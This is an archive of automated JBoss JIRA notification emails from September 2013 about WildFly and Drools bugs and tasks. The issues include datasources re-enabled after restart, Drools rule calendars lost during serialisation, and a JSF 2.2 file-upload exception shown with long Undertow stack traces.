If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 12:42:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 13 Sep 2013 12:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2072) Build controller-client
 module and its dependencies for JDK 6
In-Reply-To: <JIRA.12500702.1379090464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500702.1379090464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500702.1379090464000.26073.1379090523471@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2072?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2072:
-----------------------------------

    Priority: Critical  (was: Major)

    
> Build controller-client module and its dependencies for JDK 6
> -------------------------------------------------------------
>
>                 Key: WFLY-2072
>                 URL: https://issues.jboss.org/browse/WFLY-2072
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> WildFly is built for JDK 7, but the controller-client lib and its dependencies within the WF codebase do not need JDK 7 features and should be built with source and compile targets set to JDK 6. This will help prevent the need for running a different management client for WF 8 vs AS7/EAP6 due to the need to support JDK for the the latter.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 14:38:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 14:38:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1776) resource-adapter id attribute
 is forced to match rar name
In-Reply-To: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497520.1375113090000.26303.1379097485811@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804269#comment-12804269 ] 

RH Bugzilla Integration commented on WFLY-1776:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 996971|https://bugzilla.redhat.com/show_bug.cgi?id=996971] from NEW to MODIFIED
                
> resource-adapter id attribute is forced to match rar name
> ---------------------------------------------------------
>
>                 Key: WFLY-1776
>                 URL: https://issues.jboss.org/browse/WFLY-1776
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Johnathon Lee
>            Assignee: Stefano Maestri
>         Attachments: JBJCA-1066-reproducer.zip
>
>
> If the id of the resource adapter element does not match the name of the
> RAR file, the CLI will throw the following error on RA activation:
> {
>     "outcome" => "failed",
>     "failure-description" => "rar not yet deployed",
>     "rolled-back" => true
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 15:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 15:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1893) Restarting server with a
 disabled DS enables the DS
In-Reply-To: <JIRA.12498787.1376679198000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498787.1376679198000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498787.1376679198000.26337.1379099103404@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1893?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804277#comment-12804277 ] 

RH Bugzilla Integration commented on WFLY-1893:
-----------------------------------------------

Jesper Pedersen <jpederse at redhat.com> changed the Status of [bug 952277|https://bugzilla.redhat.com/show_bug.cgi?id=952277] from NEW to POST
                
> Restarting server with a disabled DS enables the DS
> ---------------------------------------------------
>
>                 Key: WFLY-1893
>                 URL: https://issues.jboss.org/browse/WFLY-1893
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>            Reporter: Kabir Khan
>            Assignee: Stefano Maestri
>
> See https://issues.jboss.org/browse/WFLY-1874
> If you add a datasource with 
> subsystem=datasources/data-source=Test:add(jndi-name=java:/Test,jta=false,use-ccm=false,connection-url=url,driver-class=org.h2.Driver,driver-name=h2,user-name=user,password=pass,validate-on-match=false,background-validation=false,share-prepared-statements=false)
> it shows up as not enabled/undefined:
> {code}
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=Test:read-resource{                                                                                                                                         "outcome" => "success",
>     "result" => {
> ...
>         "enabled" => false,
> {code}
> {code}
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=Test:read-resource(include-defaults=false)
> {
>     "outcome" => "success",
>     "result" => {
> ...        "enabled" => undefined,
> {code}
> This is persisted as 
> {code}
>                <datasource jta="false" jndi-name="java:/Test" pool-name="Test" enabled="false" use-ccm="false">
>                     <connection-url>url</connection-url>
>                     <driver-class>org.h2.Driver</driver-class>
>                     <driver>h2</driver>
>                     <security>
>                         <user-name>user</user-name>
>                         <password>pass</password>
>                     </security>
>                     <validation>
>                         <validate-on-match>false</validate-on-match>
>                         <background-validation>false</background-validation>
>                     </validation>
>                     <statement>
>                         <share-prepared-statements>false</share-prepared-statements>
>                     </statement>
>                 </datasource>
> {code}
> Now if you stop and start the server again you end up with enabled=true.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 15:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 15:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1933) Disabled data-source without
 explicit enabled="false" in configuration xml file is re-enabled again
 after server reload
In-Reply-To: <JIRA.12499254.1377246337000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499254.1377246337000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499254.1377246337000.26341.1379099103476@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1933?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804278#comment-12804278 ] 

RH Bugzilla Integration commented on WFLY-1933:
-----------------------------------------------

Jesper Pedersen <jpederse at redhat.com> changed the Status of [bug 952277|https://bugzilla.redhat.com/show_bug.cgi?id=952277] from NEW to POST
                
> Disabled data-source without explicit enabled="false" in configuration xml file is re-enabled again after server reload
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1933
>                 URL: https://issues.jboss.org/browse/WFLY-1933
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>
> The server automatically re-enables a data-source which was disabled before and which lost {{enabled="false"}} in the configuration XML file. 
> There is a discrepancy between the default value of the {{enabled}} attribute in XSD and the same attribute definition in org.jboss.as.connector.subsystems.datasources.Constants. From my POV any data-source that has been disabled before should stay in that state unless it is explicitly enabled again. See https://bugzilla.redhat.com/show_bug.cgi?id=952277 for a reproducer. 
> The culprit seems to be 
> {code:java|title=org.jboss.as.connector.subsystems.datasources.DsParser}
> ...
>     private void parseDataSource(final XMLExtendedStreamReader reader, final List<ModelNode> list, final ModelNode parentAddress) throws XMLStreamException, ParserException,
>             ValidateException {
> ...
> ==>        boolean enabled = Defaults.ENABLED.booleanValue();
> ...
>     private void parseXADataSource(XMLExtendedStreamReader reader, final List<ModelNode> list, final ModelNode parentAddress) throws XMLStreamException, ParserException,
>             ValidateException {
> ...
> ==>        boolean enabled = Defaults.ENABLED.booleanValue();
> ...
> {code}
> Though it looks like a bug, I am not sure we can change the default value in XSD for EAP.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 17:05:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 13 Sep 2013 17:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.26523.1379106303561@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-2057:
---------------------------------

    Assignee: Stuart Douglas  (was: David Lloyd)


Stuart, this adds regressions centered around the reuse of the jboss-all.xml DUP phase IDs.  Can you please take a look at it?

Thanks.
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 17:05:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 13 Sep 2013 17:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.26527.1379106303738@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2057:
------------------------------

    Priority: Blocker  (was: Major)

    
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 23:53:03 2013
From: jira-events at lists.jboss.org (Demian Calcaprina (JIRA))
Date: Fri, 13 Sep 2013 23:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-260) Drools not writing calendars
 when marshalling
In-Reply-To: <JIRA.12500709.1379130683078@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500709.1379130683078@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500709.1379130683078.26575.1379130783406@jira02.app.mwc.hst.phx2.redhat.com>

Demian Calcaprina created DROOLS-260:
----------------------------------------

             Summary: Drools not writing calendars when marshalling
                 Key: DROOLS-260
                 URL: https://issues.jboss.org/browse/DROOLS-260
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Demian Calcaprina
            Assignee: Mark Proctor


When serializing Rule class, https://github.com/droolsjbpm/drools/blob/5.5.x/drools-core/src/main/java/org/drools/rule/Rule.java#L122, the write and read external methods does not write and read calendars properties.
This causes that, if there is a rule which has a calendar in guvnor, for example,
rule "CalendarTest"
		calendars "my cal"
		no-loop true
		dialect "mvel"
		when
		then
	    	System.out.println("CALENDAR IS FIRIUNG!!!");
	end

when rule is retrieved, calendars are not took into account.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 23:55:04 2013
From: jira-events at lists.jboss.org (Demian Calcaprina (JIRA))
Date: Fri, 13 Sep 2013 23:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-260) Drools not writing calendars
 when marshalling
In-Reply-To: <JIRA.12500709.1379130683000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500709.1379130683000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500709.1379130683000.26578.1379130904008@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-260?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Demian Calcaprina updated DROOLS-260:
-------------------------------------

    Git Pull Request: https://github.com/droolsjbpm/drools/pull/253

    
> Drools not writing calendars when marshalling
> ---------------------------------------------
>
>                 Key: DROOLS-260
>                 URL: https://issues.jboss.org/browse/DROOLS-260
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Demian Calcaprina
>            Assignee: Mark Proctor
>
> When serializing Rule class, https://github.com/droolsjbpm/drools/blob/5.5.x/drools-core/src/main/java/org/drools/rule/Rule.java#L122, the write and read external methods does not write and read calendars properties.
> This causes that, if there is a rule which has a calendar in guvnor, for example,
> rule "CalendarTest"
> 		calendars "my cal"
> 		no-loop true
> 		dialect "mvel"
> 		when
> 		then
> 	    	System.out.println("CALENDAR IS FIRIUNG!!!");
> 	end
> when rule is retrieved, calendars are not took into account.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 14 16:00:03 2013
From: jira-events at lists.jboss.org (alexandre xypas (JIRA))
Date: Sat, 14 Sep 2013 16:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2073) Uploading a file using JSF
 2.2 throws an exception
In-Reply-To: <JIRA.12500717.1379188731756@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500717.1379188731756@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500717.1379188731756.26610.1379188803616@jira02.app.mwc.hst.phx2.redhat.com>

alexandre xypas created WFLY-2073:
-------------------------------------

             Summary: Uploading a file using JSF 2.2 throws an exception
                 Key: WFLY-2073
                 URL: https://issues.jboss.org/browse/WFLY-2073
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
         Environment: Ubuntu OS 64 bit, Java 7 (java version "1.7.0_40"), JSF version 2.2.1, JSF vender JBoss by Red Hat
            Reporter: alexandre xypas
            Assignee: Stuart Douglas


Using JSF 2.2, the following should work:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.part}" required="true">
           <f:ajax listener="#{doctorProfileController.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>


but throws the following exception when a file is uploaded:

22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]

22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
